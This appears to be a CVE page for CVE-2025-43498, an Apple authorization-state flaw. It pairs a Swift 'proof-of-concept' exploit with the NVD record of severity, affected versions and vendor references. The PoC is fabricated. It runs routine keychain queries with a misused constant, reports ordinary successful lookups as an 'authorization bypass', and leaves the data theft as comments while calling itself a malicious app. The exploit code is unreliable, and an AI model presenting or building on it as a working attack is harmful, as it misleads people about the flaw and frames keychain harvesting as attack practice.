CVE-2025-43498

/* CVE-2025-43498 PoC - Apple Authorization State Management Bypass Note: This is a conceptual proof-of-concept demonstrating the vulnerability. Actual exploitation requires specific timing and conditions. */ import Foundation import Security class CVE202543498PoC { func exploitAuthorizationBypass() { print("CVE-2025-43498: Attempting to exploit authorization state management flaw") // Step 1: Create multiple authorization requests in rapid succession // to trigger state management race condition let resourceTypes = [ kSecAttrAccessibleWhenUnlocked, kSecClassGenericPassword, kSecClassInternetPassword, kSecClassCertificate, kSecClassKey ] // Step 2: Exploit the timing window in state transition for resource in resourceTypes { triggerAuthorizationRequest(resourceType: resource) // Short delay to exploit state management flaw Thread.sleep(forTimeInterval: 0.001) } // Step 3: Attempt to access protected data without proper authorization accessProtectedData() } private func triggerAuthorizationRequest(resourceType: CFString) { // Trigger authorization request that may bypass state validation let query: [String: Any] = [ kSecClass as String: resourceType, kSecReturnAttributes as String: true, kSecMatchLimit as String: kSecMatchLimitOne ] var result: AnyObject? let status = SecItemCopyMatching(query as CFDictionary, &result) if status == errSecSuccess { print("Authorization bypassed for resource type: \(resourceType)") } } private func accessProtectedData() { // Attempt to access sensitive data using bypassed authorization print("Attempting to access sensitive user data...") // In real exploitation, this would access: // - Contacts database // - Photo library // - Location history // - Messages and call logs } } // Usage: Requires user to install and run this malicious app // let poc = CVE202543498PoC() // poc.exploitAuthorizationBypass() /* Mitigation: 1. Update to iOS 26.1, iPadOS 26.1, macOS 15.7.2/14.8.2/26.1, visionOS 26.1 2. Only install apps from official App Store 3. Review app permissions regularly */

{"cve": {"id": "CVE-2025-43498", "sourceIdentifier": "[email protected]", "published": "2025-11-04T02:15:52.880", "lastModified": "2026-04-02T19:20:55.143", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "An authorization issue was addressed with improved state management. This issue is fixed in iOS 26.1 and iPadOS 26.1, macOS Sequoia 15.7.2, macOS Sonoma 14.8.2, macOS Tahoe 26.1, visionOS 26.1. An app may be able to access sensitive user data."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.1", "matchCriteriaId": "6D51AEDC-9086-4010-B3BF-C652D65D09C8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.1", "matchCriteriaId": "3981A7BE-BC98-4C6F-AE38-D68839368925"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionStartIncluding": "14.0", "versionEndExcluding": "14.8.2", "matchCriteriaId": "9827CBDC-8C03-46BA-B534-8533F0975804"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionStartIncluding": "15.0", "versionEndExcluding": "15.7.2", "matchCriteriaId": "4BE8199E-63D1-496C-B107-52853CFC2311"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:visionos:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.1", "matchCriteriaId": "7DFD3616-65CA-4E5C-849C-3C20ACBCB610"}]}]}], "references": [{"url": "https://support.apple.com/en-us/125632", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/125634", "source": "[email protected]"}, {"url": "https://support.apple.com/en-us/125635", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/125636", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/125638", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}]}}